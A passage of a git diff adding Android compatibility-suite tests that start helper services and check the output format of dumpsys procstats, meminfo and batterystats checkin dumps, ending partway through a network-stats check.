index 0000000..2ee5628
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/ProcStatsHelperServiceBase.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.procstatshelper;
+
+import android.app.IntentService;
+import android.app.Notification;
+import android.content.Intent;
+import android.util.Log;
+
+public class ProcStatsHelperServiceBase extends IntentService {
+    private static final String TAG = "ProcStatsHelperService";
+
+    public ProcStatsHelperServiceBase() {
+        super(TAG);
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        Log.e(TAG, "onCreate: " + getClass().getName());
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        Log.e(TAG, "onHandleIntent: " + getClass().getName());
+
+        // Run as a background service for 500 ms.
+        try {
+            Thread.sleep(500);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Caught exception", e);
+        }
+
+        Notification notification = new Notification.Builder(getApplicationContext())
+                .setContentTitle("FgService")
+                .setSmallIcon(android.R.drawable.ic_popup_sync)
+                .build();
+        startForeground(1, notification);
+        // Run as a foreground service for 1 second.
+        try {
+            Thread.sleep(1000);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Caught exception", e);
+        }
+    }
+}
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/ProcStatsHelperServiceMain.java b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/ProcStatsHelperServiceMain.java
new file mode 100644
index 0000000..5fffc21
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/ProcStatsHelperServiceMain.java
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.procstatshelper;
+
+public class ProcStatsHelperServiceMain extends ProcStatsHelperServiceBase {
+}
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/ProcStatsHelperServiceSub.java b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/ProcStatsHelperServiceSub.java
new file mode 100644
index 0000000..63e94b9
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/ProcStatsHelperServiceSub.java
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.procstatshelper;
+
+public class ProcStatsHelperServiceSub extends ProcStatsHelperServiceBase {
+}
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
new file mode 100644
index 0000000..1691103
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsProcStatsApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml b/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..56cacb5
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.server.cts.procstats" >
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.server.cts.procstats" />
+</manifest>
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java b/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java
new file mode 100644
index 0000000..c6836c3
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/src/com/android/server/cts/procstats/ProcStatsTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.procstats;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.fail;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedReader;
+import java.io.FileReader;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Pattern;
+
+/**
+ * Used by NetstatsIncidentTest.  Makes some network requests so "dumpsys netstats" will have
+ * something to show.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ProcStatsTest {
+    private static final String TAG = "ProcStatsTest";
+    private static final String HELPER_PACKAGE = "com.android.server.cts.procstatshelper";
+
+    @After
+    public void tearDown() {
+        runCommand("dumpsys procstats --stop-pretend-screen", "^$");
+    }
+
+    private static final Intent buildIntent(String component) {
+        return new Intent()
+                .setComponent(ComponentName.unflattenFromString(component));
+    }
+
+    @Test
+    public void testLaunchApp() throws Exception {
+
+        InstrumentationRegistry.getContext().startActivity(
+                buildIntent(HELPER_PACKAGE + "/.MainActivity"));
+
+        Thread.sleep(4000);
+
+        InstrumentationRegistry.getContext().startService(
+                buildIntent(HELPER_PACKAGE + "/.ProcStatsHelperServiceMain"));
+
+        Thread.sleep(4000);
+
+        // Now run something with the screen off.
+        runCommand("dumpsys procstats --pretend-screen-off", "^$");
+
+        InstrumentationRegistry.getContext().startActivity(
+                buildIntent(HELPER_PACKAGE + "/.MainActivity"));
+
+        Thread.sleep(4000);
+
+        InstrumentationRegistry.getContext().startService(
+                buildIntent(HELPER_PACKAGE + "/.ProcStatsHelperServiceSub"));
+
+        Thread.sleep(4000);
+
+        // run "dumpsys meminfo" to update the PSS stats.
+        runCommand("dumpsys meminfo " + HELPER_PACKAGE,
+                "MEMINFO in pid");
+        runCommand("dumpsys meminfo " + HELPER_PACKAGE + ":proc2",
+                "MEMINFO in pid");
+    }
+
+    static List<String> readAll(ParcelFileDescriptor pfd) {
+        try {
+            try {
+                final ArrayList<String> ret = new ArrayList<>();
+                try (BufferedReader r = new BufferedReader(
+                        new FileReader(pfd.getFileDescriptor()))) {
+                    String line;
+                    while ((line = r.readLine()) != null) {
+                        ret.add(line);
+                    }
+                    r.readLine();
+                }
+                return ret;
+            } finally {
+                pfd.close();
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    static String concatResult(List<String> result) {
+        final StringBuilder sb = new StringBuilder();
+        for (String s : result) {
+            sb.append(s);
+            sb.append("\n");
+        }
+        return sb.toString().trim();
+    }
+
+    private void runCommand(String command, String expectedOutputRegex) {
+        Log.i(TAG, "Running comamnd: " + command);
+        final String result = concatResult(readAll(
+                InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                        command)));
+        Log.i(TAG, "Output:");
+        Log.i(TAG, result);
+        if (!Pattern.compile(expectedOutputRegex).matcher(result).find()) {
+            fail("Expected=" + expectedOutputRegex + "\nBut was=" + result);
+        }
+    }
+}
+
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java
new file mode 100644
index 0000000..dd279d9
--- /dev/null
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BaseDumpsysTest.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.dumpsys.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestResult;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+public class BaseDumpsysTest extends DeviceTestCase implements IBuildReceiver {
+    protected static final String TAG = "DumpsysHostTest";
+
+    private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+
+    /**
+     * A reference to the device under test.
+     */
+    protected ITestDevice mDevice;
+
+    protected IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevice = getDevice();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    protected static long assertInteger(String input) {
+        try {
+            return Long.parseLong(input);
+        } catch (NumberFormatException e) {
+            fail("Expected an integer but found \"" + input + "\"");
+            // Won't be hit, above throws AssertException
+            return -1;
+        }
+    }
+
+    protected static long assertNonNegativeInteger(String input) {
+        try {
+            final long result = Long.parseLong(input);
+            assertTrue("Expected non-negative, but was: " + result, result >= 0);
+
+            return result;
+        } catch (NumberFormatException e) {
+            fail("Expected an integer but found \"" + input + "\"");
+            // Won't be hit, above throws AssertException
+            return -1;
+        }
+    }
+
+    protected static long assertPositiveInteger(String input) {
+        try {
+            final long result = Long.parseLong(input);
+            assertTrue("Expected positive, but was: " + result, result > 0);
+
+            return result;
+        } catch (NumberFormatException e) {
+            fail("Expected an integer but found \"" + input + "\"");
+            // Won't be hit, above throws AssertException
+            return -1;
+        }
+    }
+
+    protected static void assertMinAvgMax(String min, String avg, String max, boolean checkAvg) {
+        final long lMin = assertNonNegativeInteger(min);
+        final long lAvg = assertNonNegativeInteger(avg);
+        final long lMax = assertNonNegativeInteger(max);
+
+        if (checkAvg) {
+            assertTrue("min [" + min + "] <= avg [" + avg + "]", lMin <= lAvg);
+            assertTrue("avg [" + avg + "] <= max [" + max + "]", lAvg <= lMax);
+        } else {
+            // There was a bug in the average calculation, so we can't check the average
+            // from the last N hour stats, which may be generated on with the buggy logic.
+            assertTrue("min [" + min + "] <= max [" + max + "]", lMin <= lMax);
+        }
+    }
+
+    protected static void assertLesserOrEqual(String lesser, String greater) {
+        final long lLesser = assertNonNegativeInteger(lesser);
+        final long lGreater = assertNonNegativeInteger(greater);
+
+        assertTrue("[" + lesser + "] <= [" + greater + "]", lLesser <= lGreater);
+    }
+
+    protected static double assertDouble(String input) {
+        try {
+            return Double.parseDouble(input);
+        } catch (NumberFormatException e) {
+            fail("Expected a double but found \"" + input + "\"");
+            return -1;
+        }
+    }
+
+    protected static void assertSeenTag(Set<String> seenTags, String tag) {
+        assertTrue("No line starting with \"" + tag + ",\"", seenTags.contains(tag));
+    }
+
+
+    /**
+     * Install a device side test package.
+     *
+     * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
+     * @param grantPermissions whether to give runtime permissions.
+     */
+    protected void installPackage(String appFileName, boolean grantPermissions)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        CLog.d("Installing app " + appFileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final String result = getDevice().installPackage(
+                buildHelper.getTestFile(appFileName), true, grantPermissions);
+        assertNull("Failed to install " + appFileName + ": " + result, result);
+    }
+
+    /**
+     * Run a device side test.
+     *
+     * @param pkgName Test package name, such as "com.android.server.cts.netstats".
+     * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
+     * @param testMethodName Test method name.
+     * @throws DeviceNotAvailableException
+     */
+    protected void runDeviceTests(@Nonnull String pkgName,
+            @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+                pkgName, TEST_RUNNER, getDevice().getIDevice());
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new AssertionError("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+
+        if (result.hasFailedTests()) {
+            // build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestIdentifier, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+    }
+
+    /**
+     * Execute the given command, and find the given pattern and return the resulting
+     * {@link Matcher}.
+     */
+    protected Matcher execCommandAndFind(String command, String pattern) throws Exception {
+        final CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        getDevice().executeShellCommand(command, receiver);
+        final String output = receiver.getOutput();
+        final Matcher matcher = Pattern.compile(pattern).matcher(output);
+        assertTrue("Pattern '" + pattern + "' didn't match. Output=\n" + output, matcher.find());
+        return matcher;
+    }
+
+    /**
+     * Execute the given command, find the given pattern, and return the first captured group
+     * as a String.
+     */
+    protected String execCommandAndGetFirstGroup(String command, String pattern) throws Exception {
+        final Matcher matcher = execCommandAndFind(command, pattern);
+        assertTrue("No group found for pattern '" + pattern + "'", matcher.groupCount() > 0);
+        return matcher.group(1);
+    }
+}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
new file mode 100644
index 0000000..bb1e2f9
--- /dev/null
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -0,0 +1,744 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.dumpsys.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.StringReader;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Test to check the format of the dumps of the batterystats test.
+ */
+public class BatteryStatsDumpsysTest extends BaseDumpsysTest {
+   private static final String TEST_APK = "CtsFramestatsTestApp.apk";
+    private static final String TEST_PKG = "com.android.cts.framestatstestapp";
+
+    /**
+     * Tests the output of "dumpsys batterystats --checkin".
+     *
+     * @throws Exception
+     */
+    public void testBatterystatsOutput() throws Exception {
+        String batterystats = mDevice.executeShellCommand("dumpsys batterystats --checkin");
+        assertNotNull(batterystats);
+        assertTrue(batterystats.length() > 0);
+
+        Set<String> seenTags = new HashSet<>();
+        int version = -1;
+
+        try (BufferedReader reader = new BufferedReader(
+                new StringReader(batterystats))) {
+
+            String line;
+            while ((line = reader.readLine()) != null) {
+                if (line.isEmpty()) {
+                    continue;
+                }
+
+
+                // With a default limit of 0, empty strings at the end are discarded.
+                // We still consider the empty string as a valid value in some cases.
+                // Using any negative number for the limit will preserve a trailing empty string.
+                // @see String#split(String, int)
+                String[] parts = line.split(",", -1);
+                assertInteger(parts[0]); // old version
+                assertInteger(parts[1]); // UID
+                switch (parts[2]) { // aggregation type
+                    case "i":
+                    case "l":
+                    case "c":
+                    case "u":
+                        break;
+                    default:
+                        fail("malformed stat: " + parts[2]);
+                }
+                assertNotNull(parts[3]);
+                seenTags.add(parts[3]);
+
+                // Note the time fields are measured in milliseconds by default.
+                switch (parts[3]) {
+                    case "vers":
+                        checkVersion(parts);
+                        break;
+                    case "uid":
+                        checkUid(parts);
+                        break;
+                    case "apk":
+                        checkApk(parts);
+                        break;
+                    case "pr":
+                        checkProcess(parts);
+                        break;
+                    case "sr":
+                        checkSensor(parts);
+                        break;
+                    case "vib":
+                        checkVibrator(parts);
+                        break;
+                    case "fg":
+                        checkForeground(parts);
+                        break;
+                    case "st":
+                        checkStateTime(parts);
+                        break;
+                    case "wl":
+                        checkWakelock(parts);
+                        break;
+                    case "awl":
+                        checkAggregatedWakelock(parts);
+                        break;
+                    case "sy":
+                        checkSync(parts);
+                        break;
+                    case "jb":
+                        checkJob(parts);
+                        break;
+                    case "kwl":
+                        checkKernelWakelock(parts);
+                        break;
+                    case "wr":
+                        checkWakeupReason(parts);
+                        break;
+                    case "nt":
+                        checkNetwork(parts);
+                        break;
+                    case "ua":
+                        checkUserActivity(parts);
+                        break;
+                    case "bt":
+                        checkBattery(parts);
+                        break;
+                    case "dc":
+                        checkBatteryDischarge(parts);
+                        break;
+                    case "lv":
+                        checkBatteryLevel(parts);
+                        break;
+                    case "wfl":
+                        checkWifi(parts);
+                        break;
+                    case "m":
+                        checkMisc(parts);
+                        break;
+                    case "gn":
+                        checkGlobalNetwork(parts);
+                        break;
+                    case "br":
+                        checkScreenBrightness(parts);
+                        break;
+                    case "sgt":
+                    case "sgc":
+                        checkSignalStrength(parts);
+                        break;
+                    case "sst":
+                        checkSignalScanningTime(parts);
+                        break;
+                    case "dct":
+                    case "dcc":
+                        checkDataConnection(parts);
+                        break;
+                    case "wst":
+                    case "wsc":
+                        checkWifiState(parts);
+                        break;
+                    case "wsst":
+                    case "wssc":
+                        checkWifiSupplState(parts);
+                        break;
+                    case "wsgt":
+                    case "wsgc":
+                        checkWifiSignalStrength(parts);
+                        break;
+                    case "bst":
+                    case "bsc":
+                        checkBluetoothState(parts);
+                        break;
+                    case "blem":
+                        checkBluetoothMisc(parts);
+                        break;
+                    case "pws":
+                        checkPowerUseSummary(parts);
+                        break;
+                    case "pwi":
+                        checkPowerUseItem(parts);
+                        break;
+                    case "dsd":
+                    case "csd":
+                        checkChargeDischargeStep(parts);
+                        break;
+                    case "dtr":
+                        checkDischargeTimeRemain(parts);
+                        break;
+                    case "ctr":
+                        checkChargeTimeRemain(parts);
+                        break;
+                    case "cpu":
+                        checkUidCpuUsage(parts);
+                    default:
+                        break;
+                }
+            }
+        }
+
+        // spot check a few tags
+        assertSeenTag(seenTags, "vers");
+        assertSeenTag(seenTags, "bt");
+        assertSeenTag(seenTags, "dc");
+        assertSeenTag(seenTags, "m");
+    }
+
+    private void checkVersion(String[] parts) {
+        assertEquals(8, parts.length);
+        assertInteger(parts[4]); // checkinVersion
+        assertInteger(parts[5]); // parcelVersion
+        assertNotNull(parts[6]); // startPlatformVersion
+        assertNotNull(parts[7]); // endPlatformVersion
+    }
+
+    private void checkUid(String[] parts) {
+        assertEquals(6, parts.length);
+        assertInteger(parts[4]); // uid
+        assertNotNull(parts[5]); // pkgName
+    }
+
+    private void checkApk(String[] parts) {
+        assertEquals(10, parts.length);
+        long wakeup_count = assertInteger(parts[4]); // wakeups
+        assertNotNull(parts[5]); // apk
+        assertNotNull(parts[6]); // service
+        assertInteger(parts[7]); // startTime
+        assertInteger(parts[8]); // starts
+        assertInteger(parts[9]); // launches
+
+        // Sanity check.
+        assertTrue("wakeup count must be >= 0", wakeup_count >= 0);
+    }
+
+    private void checkProcess(String[] parts) {
+        assertTrue(parts.length >= 9);
+        assertNotNull(parts[4]); // process
+        assertInteger(parts[5]); // userMillis
+        assertInteger(parts[6]); // systemMillis
+        assertInteger(parts[7]); // foregroundMillis
+        assertInteger(parts[8]); // starts
+    }
+
+    private void checkSensor(String[] parts) {
+        assertEquals(10, parts.length);
+        assertInteger(parts[4]); // sensorNumber
+        assertInteger(parts[5]); // totalTime
+        assertInteger(parts[6]); // count
+        assertInteger(parts[7]); // backgroundCount
+        assertInteger(parts[8]); // actualTime
+        assertInteger(parts[9]); // backgroundActualTime
+    }
+
+    private void checkVibrator(String[] parts) {
+        assertEquals(6, parts.length);
+        assertInteger(parts[4]); // totalTime
+        assertInteger(parts[5]); // count
+    }
+
+    private void checkForeground(String[] parts) {
+        assertEquals(6, parts.length);
+        assertInteger(parts[4]); // totalTime
+        assertInteger(parts[5]); // count
+    }
+
+    private void checkStateTime(String[] parts) {
+        assertEquals(10, parts.length);
+        assertInteger(parts[4]); // top
+        assertInteger(parts[5]); // foreground_service
+        assertInteger(parts[6]); // top_sleeping
+        assertInteger(parts[7]); // foreground
+        assertInteger(parts[8]); // background
+        assertInteger(parts[9]); // cached
+    }
+
+    private void checkWakelock(String[] parts) {
+        assertEquals(29, parts.length);
+        assertNotNull(parts[4]);      // wakelock
+
+        assertInteger(parts[5]);      // full totalTime
+        assertEquals("f", parts[6]);  // full
+        long full_count = assertInteger(parts[7]);      // full count
+        assertInteger(parts[8]);      // current duration
+        assertInteger(parts[9]);      // max duration
+        assertInteger(parts[10]);     // total duration
+
+        assertInteger(parts[11]);      // partial totalTime
+        assertEquals("p", parts[12]);  // partial
+        long partial_count = assertInteger(parts[13]);     // partial count
+        assertInteger(parts[14]);      // current duration
+        assertInteger(parts[15]);      // max duration
+        assertInteger(parts[16]);      // total duration
+
+        assertInteger(parts[17]);      // background partial totalTime
+        assertEquals("bp", parts[18]); // background partial
+        long bg_partial_count = assertInteger(parts[19]);     // background partial count
+        assertInteger(parts[20]);      // current duration
+        assertInteger(parts[21]);      // max duration
+        assertInteger(parts[22]);      // total duration
+
+        assertInteger(parts[23]);      // window totalTime
+        assertEquals("w", parts[24]);  // window
+        long window_count = assertInteger(parts[25]);     // window count
+        assertInteger(parts[26]);      // current duration
+        assertInteger(parts[27]);      // max duration
+        assertInteger(parts[28]);      // total duration
+
+        // Sanity checks.
+        assertTrue("full wakelock count must be >= 0", full_count >= 0);
+        assertTrue("partial wakelock count must be >= 0", partial_count >= 0);
+        assertTrue("background partial wakelock count must be >= 0", bg_partial_count >= 0);
+        assertTrue("window wakelock count must be >= 0", window_count >= 0);
+    }
+
+    private void checkAggregatedWakelock(String[] parts) {
+        assertEquals(6, parts.length);
+        assertInteger(parts[4]); // total time
+        assertInteger(parts[5]); // background time
+    }
+
+    private void checkSync(String[] parts) {
+        assertEquals(9, parts.length);
+        assertNotNull(parts[4]); // sync
+        assertInteger(parts[5]); // totalTime
+        assertInteger(parts[6]); // count
+        assertInteger(parts[7]); // bgTime
+        assertInteger(parts[8]); // bgCount
+    }
+
+    private void checkJob(String[] parts) {
+        assertEquals(9, parts.length);
+        assertNotNull(parts[4]); // job
+        assertInteger(parts[5]); // totalTime
+        assertInteger(parts[6]); // count
+        assertInteger(parts[7]); // bgTime
+        assertInteger(parts[8]); // bgCount
+    }
+
+    private void checkKernelWakelock(String[] parts) {
+        assertTrue(parts.length >= 7);
+	assertNotNull(parts[4]); // Kernel wakelock
+	assertInteger(parts[parts.length-2]); // totalTime
+        assertInteger(parts[parts.length-1]); // count
+    }
+
+    private void checkWakeupReason(String[] parts) {
+        assertTrue(parts.length >= 7);
+        for (int i = 4; i < parts.length-2; i++) {
+            assertNotNull(parts[i]); // part of wakeup
+        }
+        assertInteger(parts[parts.length-2]); // totalTime
+        assertInteger(parts[parts.length-1]); // count
+    }
+
+    private void checkNetwork(String[] parts) {
+        assertEquals(26, parts.length);
+        long mbRx = assertInteger(parts[4]);  // mobileBytesRx
+        long mbTx = assertInteger(parts[5]);  // mobileBytesTx
+        long wbRx = assertInteger(parts[6]);  // wifiBytesRx
+        long wbTx = assertInteger(parts[7]);  // wifiBytesTx
+        long mpRx = assertInteger(parts[8]);  // mobilePacketsRx
+        long mpTx = assertInteger(parts[9]);  // mobilePacketsTx
+        long wpRx = assertInteger(parts[10]); // wifiPacketsRx
+        long wpTx = assertInteger(parts[11]); // wifiPacketsTx
+        assertInteger(parts[12]); // mobileActiveTime (usec)
+        assertInteger(parts[13]); // mobileActiveCount
+        assertInteger(parts[14]); // btBytesRx
+        assertInteger(parts[15]); // btBytesTx
+        assertInteger(parts[16]); // mobileWakeup
+        assertInteger(parts[17]); // wifiWakeup
+        long mbBgRx = assertInteger(parts[18]);  // mobileBytesRx
+        long mbBgTx = assertInteger(parts[19]);  // mobileBytesTx
+        long wbBgRx = assertInteger(parts[20]);  // wifiBytesRx
+        long wbBgTx = assertInteger(parts[21]);  // wifiBytesTx
+        long mpBgRx = assertInteger(parts[22]);  // mobilePacketsRx
+        long mpBgTx = assertInteger(parts[23]);  // mobilePacketsTx
+        long wpBgRx = assertInteger(parts[24]); // wifiPacketsRx
+        long wpBgTx = assertInteger(parts[25]); // wifiPacketsTx
+
+        // Assuming each packet contains some bytes, bytes >= packets >= 0.
+        assertTrue("mobileBytesRx must be >= mobilePacketsRx", mbRx >= mpRx);
+        assertTrue("mobilePacketsRx must be >= 0", mpRx >= 0);
+        assertTrue("mobileBytesTx must be >= mobilePacketsTx", mbTx >= mpTx);
+        assertTrue("mobilePacketsTx must be >= 0", mpTx >= 0);
+        assertTrue("wifiBytesRx must be >= wifiPacketsRx", wbRx >= wpRx);
+        assertTrue("wifiPacketsRx must be >= 0", wpRx >= 0);
